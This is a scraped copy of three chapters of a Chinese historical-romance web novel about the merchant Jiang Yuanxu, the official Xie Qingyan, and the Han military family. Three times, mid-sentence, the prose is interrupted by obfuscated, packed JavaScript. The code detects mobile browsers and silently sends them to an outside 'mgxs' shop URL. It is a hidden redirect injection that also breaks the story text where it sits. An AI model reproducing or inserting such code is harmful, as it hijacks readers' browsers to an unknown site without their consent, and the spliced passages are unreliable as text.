谢青衍不服气:“哪有这种算法,谁家把妻子的财产算自己头上的?单论个人财力,我比安王强。” 姜元序也开始较真:“那你要这么算的话,得把外祖家也去掉,谢家比元家,元家胜。” “安王能分皇室多少财产,我能得到谢家全部,我胜!” “安王是一品亲王,你是从五品的员外郎,按俸禄算,他赢!” “安王花天酒地,有一群姬妾要养,我只需一日三餐,粗茶淡饭,按结余算,我赢!” “安王已经有孩子了,你尚未娶妻,落后人家一大截,按长远算,他赢!” 谢青衍气她维护安王,非要争个高下:“安王比我大两岁,酒色全沾,我身强体健,不沾酒色,按寿命算,我赢!” 姜元序活了两辈子没输过:“安王死后能在封地立庙祭祀,你只有谢家后人祭拜,按香火算,他赢!” 谢青衍:“……” 17. 关你何事 “姜元序,你和安王什么关系啊,要这样维护他!”谢青衍被堵的无路可走,不免质问她。 没成想这人还倒打一耙,姜元序气道:“不是你非要和安王争吗?安王又不在这儿,我不帮他谁帮他。” “安王不在这儿,你都要帮他,我那么一个大活人坐你面前,你视而不见,你有没有良心!” 谢青衍只觉眼前阵阵发懵,姜元序怎么能如此理直气壮地说出如此不可理喻的话。 姜元序轻描淡写道:“你那么一个大活人但凡讲点理,也不至于要来问我有没有良心。” “你的良心全在安王那,半点没分给我,你还要我讲理?” “你都不讲理了,我那半点良心多余分你。” “……”谢青衍再次被堵的无路可走。 姜元序大获全胜,悠哉悠哉道:“穷不是你的错,死不承认就是你的错了,做人不要太攀比,谦虚低调才是真。” “我!不!穷!”谢青衍无论如何也要守住这最后的底线。 姜元序真怕他把牙咬碎了,哼笑一声,闲闲道:“给我十万两,看看实力。” 谢青衍二话不说掏出两块牌子,拍在桌上,“五十万,随时取!” 空气随之一静,扬起的尘埃散在半空,找不到落脚点,屋子里唯一清晰可闻的是谢青衍的呼吸声。 姜元序看见眼熟的存钱凭证,眉梢微扬,“谢青衍,你知道你现在这个样子像什么吗?” “像输红眼的赌徒,为了那点微薄的自尊心,明知道会输也不肯下赌桌。” “赌徒”二字重重敲在谢青衍心上,在姜元序凌厉的目光中,他忽然间卸下了所有力气,昂扬的脖颈颓下,肩膀低垂,背脊松懈,手指不安地蜷曲。 “我的错。”声音颤抖,鼻音浓重。 姜元序嘴边的讥笑僵住,完了!好像把人弄哭了! 她忍不住缩了下脖子,来不及思考太多,下意识找帮手,往旁边一瞧,整整齐齐四个后脑勺。 关键时候一个能用的都没有,她尽可能温柔地说:“我……那什么……” 说不下去了,她压根不知道哪个词戳中了谢青衍敏感脆弱的内心,不是很正常的对话吗,本来就是他的错啊!认错怎么就要哭了! 她烦躁地用指甲刮蹭袖口的绣纹,谢青衍依旧不开口,缩在一旁,委屈的像是被抢了饭盆的大狗。 委屈个屁啊,姜元序朝天翻了个巨大的白眼,她还委屈呢,放下那么多公事,在这儿演修罗场,真是吃饱了撑的。 一直僵持下去也不是办法,她认命地站起来,椅子拖地的“嘎吱”声响起,几个木头桩子像激活了声控程序,统一旋转一百八十度,对她行注目礼。 她搭着谢青衍的肩,拍几下以示安慰,谢青衍呆呆地侧过身,缓缓抬头,没有眼泪,只是脸色不太好,姜元序舒出一口气。 她用哄小猫的语气,轻声说:“没有说你不好的意思,你很好,真的很好。” 谢青衍蓦的脸红了,他刚才很慌,因为姜元序说他像赌徒,而姜元序讨厌赌徒。他像罪人一样等待宣判,万万没想到迎来了这样的结局。 姜元序见谢青衍眼眶发红,顿时不知道该如何继续,早知道没哭就不哄了,一哄反而要哭了,那现在到底是该骂还是该哄?好像不管怎么做都得惹人哭一场。 她讪笑着收回手,试探说:“要不……我给你找个有钱媳妇儿?” 飘忽的心骤然落下,谢青衍晶亮的眼神瞬间暗淡,他把胳膊撑在桌面,双手捂脸,闭上眼睛深吸一口气,至此,完全落败。 喜欢的姑娘觉得别人的男人比他有钱,他还能辩驳一二,喜欢的姑娘要给他介绍媳妇儿,他还有什么可争的。 姜元序微微凑上前,仔细观察他的指尖有没有泪水沁出,很好,没有,默默退回座位。 然后注意到另外几人跟谢青衍复制粘贴似的,垂头捂脸,姜元序忍不住吐槽,就说不要碰感情吧,几句话就把一屋子活生生的人干成人机了。 谢青衍把百转千回的心思压下,把话题转回正事,“不是安王,那是慧王,还是璋王?” 姜元序靠在椅子里,懒洋洋道:“不知道啊,没查到。” 谢青衍有些不信:“你不是很会猜吗,你猜是谁。” “我猜这干嘛,是谁都和我无关,也和你无关。” “这个东西——”她指了指谢青衍面前的资料,“你也不能带走,铜矿案只会止步于周明坤,京城的一切不能出现在江州。” 这倒是出乎了谢青衍的意料,他扬了扬手边的资料,问:“没有这个,你打算怎么把太子摘出来?只靠周泰?” “靠周泰就够了。”姜元序都有点后悔把这份资料给他看了,就让他自己去查好了,也不至于弄出刚才这一出。 “那是太子,哪里需要把证据全部推翻才能翻案,只需要让完整的证据链出现一处悖论,就没人敢给太子定罪。” “巧劲破局,妙啊。”谢青衍忍不住赞道,“那你查这个干嘛?” 姜元序慢条斯理地说:“什么也不干,就是看不得手下清闲,给他们找点事情做。” 谢青衍:“……”连敷衍都懒得敷衍了是吗? 他感觉到了姜元序赶客的态度,但今天气氛正好,姜元序终于不是公事公办的态度,他不想轻易结束,努力找话题。 “你说你和陈家有生意上往来,是因为盐引吗?你卖盐?” “粮商哪有不碰盐的。”姜元序避重就轻。 事实上,盐田晒盐的方子都是她给陈家的,她和陈家的交易很复杂,她想提高盐的产量,降低盐价,因此给了陈家不少生意,而陈家压下一众想提高盐价的官员。 谢青衍轻咳一声,有些心虚:“是因为陈家才认识的安王?” “又来了是吗?”姜元序太无奈了,先是太子,后是安王,没完没了了。 “你看起来很了解安王。”谢青衍语气哀怨。 他真的没办法不介意啊,喜欢的姑娘当着他的面夸另一个男人,这要是不问清楚,他不知道要怄多久。 “谢大人,衙门事情挺多的,没事赶紧回去吧。”姜元序不想应付一个怨夫,直接下逐客令。 谢青衍不想走,假模假样道:“事情不多,来得及,我想再呆会儿。” “行,呆多久都没问题。”姜元序很好说话,“只是我事情多,不能奉陪了,十安,招待好谢大人。” 说完也不管其余人如何错愕,直接起身,头也不回地离开待客室。 十安起身来到谢青衍的桌前,将桌上散开的资料理整齐,抽出苗乡绅的那一份,剩下的放在他面前,态度自然,“谢大人喜欢什么茶,我让人重新上一壶?” 谢青衍堪堪从姜元序无情的背影里回过神,小心翼翼地问十安:“你家姑娘……是生气了吗?” “姑娘忙,没空为这种小事生气的。”十安如实说,刚才破天荒地哄了一回人,怕是早不耐烦了。 这会儿出去又一头扎公事里,一刻不到就会把刚才这一出忘干净,外人看起来是两人打情骂俏,姑娘回忆起来就是说了一堆没有信息量的废话。 十安面色如常,谢青衍无法从她脸上判断这话的真假,另辟蹊径道:“那她到底认不认识安王?” “您可以自己去查。” 饶是十安也觉得他有点烦了,老是问这种问题有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211514|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么意义呢,有这个时间不如尽快把周明坤的事情解决,至少能给姑娘留一个办事妥帖的印象。 不愧是姜元序身边的人,谢青衍怨念地想,十安看起来毫无城府,实则异常谨慎,一点口风都不露。 他只好说:“那我明天再来。” 十安听他的语气不像客套话,笑笑说:“韩大人从益州带了不少人回来,今天就能到江州,我们没有插手太多,后续的事得麻烦谢大人。” 姑娘明日估计要见韩大人,两人多年未见,应是有许多事情要说,没空应付谢大人。 谢青衍听懂了十安的意思,心头一窒,益州的事不能拖,又得忙几日,今日不欢而散,也不知何时能找借口再见。 四人刚出商会大门,云慎压低声音,迫不及待地说:“我的公子啊!你以后可千万别提什么安王、太子了!这些事儿就不是你们现在这个关系能提的!” “为何不能提?”谢青衍是真的不明白,他只是想把事情问清楚,哪里不对了? 云慎循循善诱道:“若是姜姑娘老是怀疑你和其他姑娘有不清不楚的关系,你怎么想?” 谢青衍理所当然道:“我又没有和其他姑娘不清不楚,解释清楚不就好了,我倒是情愿她多问些。” “那是因为你喜欢姜姑娘!”云慎猛拍大腿,惊觉自己用错了比方。 “若是张姑娘问你,你和李姑娘是什么关系,你怎么想?” 谢青衍觉得这话很不可理喻:“我的事情,关她们何事?” “这不就是了!在姜姑娘那边,你和张姑娘、李姑娘没有任何区别,她和安王什么关系,关你何事!” 云慎说着说着越来越大声,被云齐抽了下胳膊才意识到这是大街上,又重新压低声音说:“安王都成亲了,姜姑娘哪里会看上他。” 云齐也附和说:“姜姑娘拿出的那份资料,可以说是安王的罪证了,要是两人真有什么关系,姜姑娘应该帮人把痕迹抹掉才对,哪里会大大方方拿出来给你看呢。” 混沌的脑袋骤然清明,谢青衍发现自己被妒忌的情绪蒙住了心眼,如此明显的事情竟然到此刻才看清,安王和太子并无区别,姜元序瞧不上太子,难道还能瞧上安王了? 心中的滞涩感散了不少,他的行为是有些不妥,一味地质问只会显得他愚蠢又小气,姜元序如此聪明,一定讨厌蠢人,他得表现出聪颖豁达。 谢青衍反思了自己的过错,又忿忿地敲一下云慎的脑门,怎么不关他事了,姜元序的事就是他的事! 钟亦看公子昂着头走了,缓缓叹气,他总算明白先前云齐云慎的支支吾吾,可不是不好说吗。 姜姑娘一直戴着面具,公子连人家的脸都没看过,两人上来就谈朝中隐秘,姜姑娘的气势明显压过公子,恍惚间,他好像看到了老太爷教导公子的情景。 他原以为公子看上的姑娘,会同夫人一般温柔大方,不成想是同老太爷一般睿智精明,之后老太爷问起来,他要如何回复。 钟亦烦躁地捋一把胡子,喃喃呓语:“让老太爷自己看吧。” 姜元序见十安进来,立马吩咐道:“周家军军粮的负责人,马上拿着文书去对接周家军,把冬季需要的军粮品类定下来,先从西北调。” “工厂的选址参考周家军的意见,那边天冷,冬天不好施工,看能不能直接找周家军调人手,可以让一部分利,尽量今年完工。” “一刻钟后,物流和存储部门管事会议。” “试验田的负责人,让他来我这里一趟。” 十安接过资料,默默下去安排事情,看吧,事业脑就是这样,那边谢大人刚出商会门,这边姑娘已经不记得这个人今天来过。 18. 酒过三巡 “铮——”寒光掠过天际。 凛冽的银枪如游龙入海,轻点其头向日光致意,绞动其身裹挟巨浪,携雷霆之势劈开万钧之海,狡黠的尾鳍一撩一拨,昂扬的龙首一刺一扎,劲风拦在远处,暴雨压在身下,一枪出,万山崩。 韩乘霖满意地点点头,从武器架上拿起一根木棍。 “铿——”木棍拦下银枪的攻势,“力度不够,往前刺——” “笃——”木棍敲在手边,“翻转幅度大一点,快——” “梆——”木棍砸向地面,“重心不稳,脚踩实——” “锵——”银枪脱手,姜元序双手撑地,“不行了不行了,没力气了……” 韩乘霖扯着她的肩膀,把人拎起来,“继续。” 姜元序瘫软着双手去够地上的银枪,韩乘霖看不得这副磨蹭样,踢了一脚,催促道:“快点。” 姜元序呲着牙四肢着地,握紧枪杆,支起一条腿,回首,刺—— 枪尖直抵面门,韩乘霖旋身掠出两丈远,姜元序乘胜追击,拦、拿、扎、扫、收、丢—— “安宁!上!” 许安宁接住银枪,跃过逃跑的姜元序,打断韩乘霖的追势,“韩大人,指点我几招呗。” 说完也不管人家答不答应,直接起势攻去,韩乘霖拿出木棍格挡,却发现完全挡不住,劈来的力道是姜元序的好几倍,他不得不调整招式,全力应对。 姜元序双手叉着腰,站在场边大喊:“安宁,不要留力,拖他一刻钟!” 接过韩乘风递来的水壶,缓缓喝了几口水,平复呼吸,她指着场上说:“看看什么叫一力降十会。” 十五岁的韩乘风第一次见二哥节节败退,震惊到说不出话,紧紧盯着许安宁的动作,很平常的招式,耍起来却仿佛带着千钧之力。 木棍断裂,场上胜负已分,韩乘霖睨着许安宁手里的银枪,若有所思,道:“招式有点飘,力气太大,枪太轻了,你有合力的兵器吗?” “有,我去拿!” 许安宁丢开银枪,把自己带来的木盒打开,通体漆黑的霸王枪横亘其中,肃杀之气扑面而来。 “嚯!”韩乘风惊呼,“这也太漂亮了!” 许安宁笑着耍了套花枪,簌簌的破空声显示这柄枪的力道,韩乘霖牙酸,问姜元序::“这枪多重?” “一百二十五斤。”姜元序说。 “啧。”韩乘霖咋舌,这姑娘个子小小的,体格也不魁梧,单手耍一百二十五斤的枪,还游刃有余 韩乘风的眼睛越来越亮,扯着姜元序的衣袖喊:“元序姐姐,我也想要这个!” 韩乘霖笑道:“小五要去军营了,想找你定把趁手的兵器,这小子力气也大。” 姜元序对韩乘风说:“行啊,正好这几天都在,你过来试试要多重的,我这里各种兵器都有。” 韩乘霖把他们推上场,“你们两个去练近身战,我去教安宁。” 韩乘风年纪虽小,身形却很稳,耍起拳来虎虎生风,姜元序脚下灵活,左躲右闪寻找破绽,力气是道迈不过去的坎,但她这几十年也不是白练的,不过一盏茶的功夫,韩乘风就被牢牢摁在地面。 “哦哦——姐!姐!疼——” 韩乘风一动不敢动,大声求饶,感觉对方稍一用力,他的一双胳膊就得废。 姜元序拉他起来,教他近身格斗的技巧,韩家武将世家,一脉相传的招式都是大开大合的,适合一对多的战场,而姜元序正相反,偏防守型的一对一。 她上辈子的家庭是典型的政商联姻,姜家有权,元家有钱,出行有配枪的保镖,根本没有自己出手的机会。 从小练武是因为她外公外婆妈妈都是军人,而她作为两家唯一的继承人,从小就做了两手准备,长大后从商从政皆可。 半个时辰后,许安宁和韩乘风过招,姜元序和韩乘霖对战,坚持了两盏茶的功夫,姜元序力竭落败。 “你这近身战确实强。”韩乘霖也累得够呛,抚着胸膛感叹道,“今天是没力气了,放平时我不一定能赢。” 休息片刻,又开始练枪。 最后,三人对战许安宁,韩乘风率先摔出,紧接着是姜元序,被一脚踹到练武场边缘,韩乘霖多挺了几个回合,许安宁追着他挥拳,从场上到场下,最终趴在武器架旁,一根手指都动不了了。 许安宁双手扶膝,吐出一口气:“真他爹的累啊!” 三个躺地上的一声苦都喊不出,一个站着的哼着小曲儿收拾散落的兵器,捡到自己的霸王枪时,意犹未尽地耍了几招。 吴善民在旁边看够了戏,笑眯眯地说:“都回去洗洗,马上开饭了。” 韩乘霖韩乘风晃晃悠悠爬起来,姜元序一动不动,虚弱地喊:“爹啊,把饭端到这里来,让人喂我吃。” “就你矫情!” 许安宁不由分说把人拎起甩肩上,一手扛枪,一手扛人,踏着恶霸抢亲的步伐往外走,剩下的几人哭笑不得。 韩乘霖和韩乘风回府衙的时候,夜色已深,漆黑的花园里,月下独酌的谢青衍异常显眼。 韩乘霖笑着打招呼:“谢大人好兴致啊,看来今天进展不错。” 他昨日带回的那个周家管事,是个硬茬子,陷害人被抓了个现行,依旧叫嚣着受了周明坤的指使,太子派来的那十几个人也不聪明,敌我不分,除了狗仗人势啥都不会。 “韩大人也来两杯?”谢青衍举杯,端的一副温文尔雅的姿态。 云慎眼疾手快地给两人倒上酒,韩乘霖今日兴致也不错,把韩乘风赶走,自己和谢青衍喝起来。 酒过三巡,谢青衍不经意地问:“韩大人在江州也有故交?怎的如此晚归。” 韩乘霖已经从姜元序那里知道了这些时日发生的事情,谢青衍帮了不少忙,也就没有隐瞒他们的关系。 “可不是,有七八年没见了,元序已经长成大姑娘了。” 谢青衍放下酒杯,脸上是毫不掩饰的惊讶,“韩大人不是一直在西北军营,如何认得在江州的姜姑娘?”还叫的那么亲密。 韩乘霖谈兴盎然:“几年前雁门郡一战,谢大人想必也知道,当时西北混入了奸细,西北军粮草被烧,后方全被切断,朝廷救援又不及时,雁门郡险些失守。” “亏得元序在西北,及时送来粮草,我们才能打回去。” 哪怕这场仗已经过了七八年,韩乘霖说起时仍心有余悸,没有粮食,神仙也打不了仗。西北军当时已经组织百姓撤出雁门郡,他爹却不能退,一退,景朝就再也没有韩家的立足之地。 “那时她才几岁,为何会在西北?” 谢青衍以为两人只是生意上的往来,不曾想竟有如此渊源。 他今日接到消息,韩乘霖带着韩乘风去了吴家,若是普通宴请,万不可能清晨去,能堂而皇之去人家家里呆一整天的,关系肯定不寻常。 可笑的是,大家都在审讯周明坤那日打过照面,两人装的和不认识一样,一点端倪都没露,遮遮掩掩的,反倒引人遐想。 在云齐和钟叔的规劝下,他止住去问姜元序的想法,特地在花园摆了一桌,打算从韩乘霖这边旁敲侧击。 韩乘霖哈哈大笑:“哎,要不是我亲眼看到,我也不会信的。一个十岁的小姑娘,带着一队护卫,照着景朝的版图游历了一圈。” “花了近三年的时间,从江州一路北上,直到宁远郡,再转而向西,到雁门郡,然后一路往南,到南越绕了一圈再走回江州。” 谢青衍心头大震,久久无法回神,韩乘霖已经习惯了,每每他讲到这一段,听到的人都这个样子。 他乐呵地给谢青衍倒酒,自顾自碰了杯,谢青衍连连喝了几杯,才堪堪压住心中激荡的情绪。 听韩乘霖骄傲自得的语气,完全是对小辈的亲近和欣赏,毫无暧昧之感,他松下一口气,也开始敞开心扉。 “我当是姜姑娘天生聪慧,又自小接手生意,才有这副世事洞察的性子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211515|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不曾想还有如此不凡的经历。读万卷书,不如行万里路,道理大家都懂,真的去做的能有几人。” “我因着谢家和王家的关系,也走过不少地方,自认眼界开阔,可比起姜姑娘,到底不如。她十岁时的魄力,我怕是此生都难以赶上。” 他想起姜元序说过十岁那年在京城听过祖父讲学,想来就是在此次游历的路上,真是可惜啊,当时他们离的那样近,还是错过了。 谢青衍的谦虚豁达让韩乘霖很是受用,不像有些人,比不上别人反而要贬低别人,说什么女子如此行径不成体统。 他高兴地说:“这才哪到哪,你是没见过她和我爹叫板的样子,人还不及我爹腰高,就敢拍着桌子,指着他的鼻子说他战术不行。” “姜姑娘不是就送了粮草吗,怎么还和韩老将军讨论战术了?”谢青衍问。 “她在军营住了半年呢。”韩乘霖解释,“西北军的后勤都是她管,后来我爹看她懂的实在多,战略部署也带上她,除了没亲自上阵杀敌,和我爹的副将没甚差别。” “两人吵架,倒霉的是我们,我爹是舍不得动她一下的,每次受了气就收拾我们兄弟。我们想着这样不行,就去劝元序,让着点爹,结果人家脾气不比我爹好多少,噼里啪啦给我们一顿骂。” “我爹见元序骂我们,还当是我们欺负她了,二话不说就是一顿揍,她也不解释就这么看着我们挨揍。等我爹打得差不多了,她又轻飘飘来一句‘你儿子说你年纪大了,让我让着你点’。” “好家伙,还不如不解释呢,平白又多了一顿鞭子!两活阎王凑一堆,全逮着我们撒气,那段时日我们兄弟的待遇,战俘看了都得流泪。” 韩乘霖摇头又给自己斟了一盏酒,犹有余怖,他爹那张凶神恶煞的脸,除了敌军,没人敢大声和他说话。 他们兄弟对他也是敬畏有余,亲近不足,那半年虽是挨的揍多了些,父子感情倒是好了不少,鸡飞狗跳的,日子比以往都有趣,以至于元序走后,他们都很不适应。 这几年虽然时常通信,到底不在一处,信件能传递的感情太少了,他爹嘴上不说,实则想念得紧,要不是不能离开西北,他们老早来江州看她了。 谢青衍被韩乘霖描绘的场景逗得忍俊不禁,他早就看出姜元序脾气不太好,而且有脾气她是真的发,绝不会忍气吞声,对上韩老将军那样的人物,竟也不逞多让。 他幼时是见过韩老将军的,神色凛凛,声如洪钟,一身甲胄不怒自威,他当时站在祖父身边,拘谨地向人行礼,韩老将军状似和善地问了他几句,他都有些吓着了。 而姜元序十岁就敢在军营跟韩老将军叫板,这份胆量,他自愧弗如。 谢青衍有心了解,韩乘霖往常也没人听他说这些,两人一拍即合,你一杯我一杯,聊着姜元序在军营的趣事。 云齐云慎也听的入迷,以往听到战事总是悲壮的,今日听到的却是妙趣横生。姜姑娘那些奇思妙想的点子,他们闻所未闻,仗着年纪小逗弄一众将军,有韩老将军撑腰,俨然是西北一霸。 月上中天,韩乘霖最后敬了谢青衍一杯,“还得谢大人帮忙,铜矿的事别牵扯到元序。” 谢青衍推拒,“韩大人多虑了,以姜姑娘的谨慎,我哪怕是想故意使坏都找不着证据。要不是她提前和我说安排人看着周泰,光靠着这些人的口供,压根没人能想到其中还有姜姑娘的手笔。” 抓住周泰的是村里的百姓,见证周泰试图以死陷害太子的也是百姓,周泰更是以为是自己不够谨慎,让村里的百姓发现了马脚。 太子的人手更是蠢,都被抓到江州了,还觉得周泰没问题,有问题的是百姓,谢青衍审他们的时候,比审那些地痞流氓都无语。 他举杯敬韩乘霖:“是我该谢韩大人,还有姜姑娘,此行若是没有你们,哪会如此顺利。今日姜姑娘不在,韩大人便替她饮了这一杯吧。” 两人相顾莞尔,一饮而尽,酒气混着快意散开,朗声大笑。 19. 争取一次 “韩大人和韩小公子还是一早就去了吴家,不过姜姑娘午后去了商会,一直在商会办公,这会儿去茶馆了。” 谢青衍刚出审讯室,疲惫地按按眉心,昨晚和韩乘霖喝了不少,又听了许多姜元序的事,心绪不宁迟迟如法入睡。 今日一早起来审牢房这群蠢货,大概是周明坤说了什么,其余人都开始装死,一句不答,而周泰一口咬定铜锭是运到京城给太子了。 就像姜元序说的,百姓的口供,现行的证据,通通指向周明坤,铜锭去向不明,周泰明显有鬼,倒是没法给太子定罪,且看之后周家有何反应吧。 他匆匆回院子沐浴更衣,把自己打理妥帖,到茶馆时已是日暮西沉。 湖边,猫猫狗狗们围坐一圈,中间是一把大躺椅,姜元序歪头躺着,颈边有一只小黑猫,走近些才发现,她阖着双眼,气息平缓,应是睡着了。 面上覆着紫色的轻纱,发髻松散,黑发垂在耳边,残阳斜照,温柔地拢着她,谢青衍在几步开外停住。 他不走,跟在他身后的云齐云慎自然也不敢妄动,云慎往四周看了看,不远处百凌倚着门框,脸色不善地盯着他们这里。 谢青衍驻足良久,拦下云齐云慎,放轻脚步,敛声屏气,悄悄坐下,和姜元序的躺椅隔了一张小茶桌。 橘掌察觉到喜欢的气息,从桌上轻轻跃下,谢青衍张开手把它接入怀中,一人一猫很有默契地不发出一丝声音。 姜元序看起来很累,卸下的发簪随意丢在桌上,手里还捏着一块咬了几口的糕点,靠着小黑猫,睡得很熟。 谢青衍自觉学识有限,不知道该用什么样的辞藻来描绘此情此景,只觉得喜欢姜元序真的是一件非常美好的事情。 小黑猫在睡梦中突地蹬了下腿,姜元序悠悠转醒,闭着眼睛把小猫搁腿上,捏着糕点往嘴里塞,咬了一口面纱才发觉不对,长长地叹一口气,伸长胳膊想把糕点放桌上。 谢青衍伸手越过桌子,从姜元序手里接过糕点,姜元序以为是百凌,也就没什么反应,继续闭着眼睛醒神。 过了好一会儿,姜元序缓缓坐起身,松松酸疼的肩膀,偏头看到一脸凶相的橘掌蹲在谢青衍肩头。 她迅速环顾四周,没有其他人,百凌和她隔着七八张桌子,托着脸看她,更远处,十安坐在云齐云慎对面,三人正说着什么,而她吃剩的那块糕点放在谢青衍面前。 她装作什么都没看到,抱着猫坐到谢青衍对面,坦然地问:“谢大人怎么来了,有什么事吗?” 谢青衍也不戳穿,“审讯了一整天,来这边喝茶放松下,也挺久没见橘掌了。” 橘掌像是在应和他的话,夹着嗓子喵喵两声。 那细软的声音听得姜元序鸡皮疙瘩都起来了,“它还真喜欢你啊,你一来就这副德性。” 谢青衍不敢回话,怕说错话又把姜元序得罪了,橘掌喜欢他是好事,谁养的像谁,橘掌那么喜欢他,或许姜元序也会喜欢他。 橘掌乖顺地低头,谢青衍摸摸它的头毛,把它从肩上移到腿上。 父慈子孝的画面衬得姜元序像个天天虐待孩子的恶毒后妈,“你要是也喜欢它,就把它带走吧。” 谢青衍惊讶地抬头,不太理解她的意思,“什么带走?” “橘掌能碰上个喜欢的也不容易,反正谢府也不缺它一口吃的,你带回去养吧。”姜元序真心实意地说。 橘掌从小不亲人,也不和其他猫狗玩,天天蹲在桌子上,闭上眼睛假寐,谢青衍是唯一的例外。科学解释不了的,只能归咎于爱情。 好在谢青衍不是什么坏人,家大业大又没有其他宠物,橘掌也算人财两得了。 “喜欢这种东西,是没有道理可言的,不是我养大了它,它就必须喜欢我,是它选择了你,你好好对它就行。” 姜元序状似洒脱地说,低头不敢看橘掌。 谢青衍的脸色青一阵白一阵,他表姐成亲的时候,舅母就是这样和表姐夫说的,姜元序脑子里到底装了什么!怎么就那么轻易地代入了岳母的身份! 他真怕自己会气出个好歹,索性直接说:“我之后会调来江州,会经常来看它的。”所以不要一副嫁女儿的口吻了,他接受不了。 姜元序摸猫的手一顿,不可置信地抬头,“你,调到江州?” 谢青衍眼神闪烁,含糊道:“周明坤没了,我的资历正好可以任江州知州。” “谢大人此行回京,应当能升一级,这刑部的正五品,和江州的正五品,能混为一谈吗?”姜元序的语气很冷。 谢青衍早已准备好借口,“京城势力错综复杂,我虽背靠谢家,在刑部升官也困难,我想着在江州历练一番,也能攒攒功绩。” “江州的发展已经趋于平稳,哪里有多少功绩可以攒。”姜元序可不会被他敷衍过去,“谢大人若是想历练,不如去贫困些的府县。” 谢青衍在姜元序仿佛看透一切的目光中败下阵来,垂下眼睛,有些底气不足,“我只想来江州。” 姜元序的眉头越皱越紧,“你知道自己在做什么吗?如今皇子之争已起,五年,足够出结果了。你在这个时候离开京城,置谢家于何地?” “谢家还有祖父在,我只需要这五年,五年后,无论结果如何,我都会回京城,挑起谢家的担子。” 谢青衍当然想过这个问题,正因为他是谢家人,才可以耽误五年,他还年轻,丢掉的权力之后有几十年的时间去夺回。 可姜元序不一样,他们相遇在这个年纪,稍一耽误就会男婚女嫁各不相干,他不会再遇到第二个像姜元序这般的人。 他可以接受姜元序不喜欢他,他可以在五年后独自回京城,但他不能接受自己连争取的勇气都没有,生生错过了她。 姜元序真是服了这些恋爱脑,东南西北都没分清呢,就莽着一股劲儿往前冲,那是前吗? 谢青衍要是她手底下的员工,早被打包送去挖矿了,挖五年矿就知道哪个是前了! 她毫不留情地说:“江州知州,我已有了人选,请谢大人不要干涉。” 谢青衍如石化般僵住,橘掌感觉到不舒服,伸出爪子勾住他的衣服,刺啦一声,唤回了他的神智。 他急忙安抚橘掌,慌乱地说:“也不一定要知州,其他的也行。” 姜元序的视线不自觉地落在谢青衍勾了丝的衣袖上,对他的一退再退无可奈何。 “谢青衍,你现在清醒吗?你在拿自己的前途开玩笑。” 谢青衍自嘲地笑笑,姜元序早看出来了吧,早就看出他的喜欢,只是不想回应,只是想要拒绝,只是,有了人选。 他直直地盯着姜元序,想要一个答案,“你知道的吧?我为什么想来江州。” 姜元序没有回避他的视线,只是不说话。 谢青衍哪里还不明白,他难受地闭了闭眼睛,还是想最后争取一次。 “我只是想要一个机会,家族、朝中关系、自己的前途,我都会处理好,也不会插手你的任何安排,我只要一个留在这里的机会。” 这要她怎么回答?姜元序蹙眉。 “哈!”谢青衍笑了,斗大的泪珠夺眶而出,“我知道了,知道了……” 姜元序崩溃,“你知道什么了!”她什么都没来得及说,谢青衍已经靠脑补演完了整场戏。 谢青衍冷静地拭去泪水,从袖中掏出一块玉牌,“这是谢家的令牌,一般官员多少会给谢家一些面子,要是遇到困难,让人带着牌子来谢府,我能帮忙的一定帮。不过你这样厉害,大概是用不到的。” “只是江州与京城相距甚远,此次我回去后,应该难再见了,这玉不错,留做纪念吧。” 事件的发展越来越扭曲,姜元序有气无力地解释:“我只是不让你来江州,又不是要跟你老死不相往来,你一副交代后事的做派干什么。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211516|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谢青衍心中一片苦涩,若是此生不会再见,如今和交代后事也无甚区别。 姜元序觉得自己再不说清楚,明早或许就能接到谢青衍的死讯。 “以后大家都在京城,你要是想见我,提前让人递个信就行!” 谢青衍愣住,不敢相信自己听到的,弱弱地重复:“京城?” “是的,京城。”姜元序大声道,“我要去京城了,听清了吗?是京城,我要去京城,京城!” 接近怒吼的声音让远处的人担心不已,纷纷皱着眉头侧目,想上前查看又怕搅了二人谈事,姜元序朝他们摆摆手。 “现在能好好说话了吗?”分明是晋江强取豪夺男主的配置,非要演古早深情男二。 一连串的“京城”绕得谢青衍有些晕,呆呆地看着姜元序,他都已经死心了,怎么突然峰回路转了? “你……没骗我?” “我骗你干嘛!”姜元序没好气道。 “你就是在骗我!”谢青衍倏然站起,把橘掌放到桌上,委屈地控诉,“姜元序,你怎么这样坏!” 姜元序还以为他要生气走了,结果却是在她面前来回打转,脚步急促,也不说话,和橘掌追不到尾巴时一个样。 姜元序看得眼晕,谢青衍冷不丁停下,意味不明地看了她一眼,转身大步朝湖边走去。 “卧槽!”姜元序一激灵。 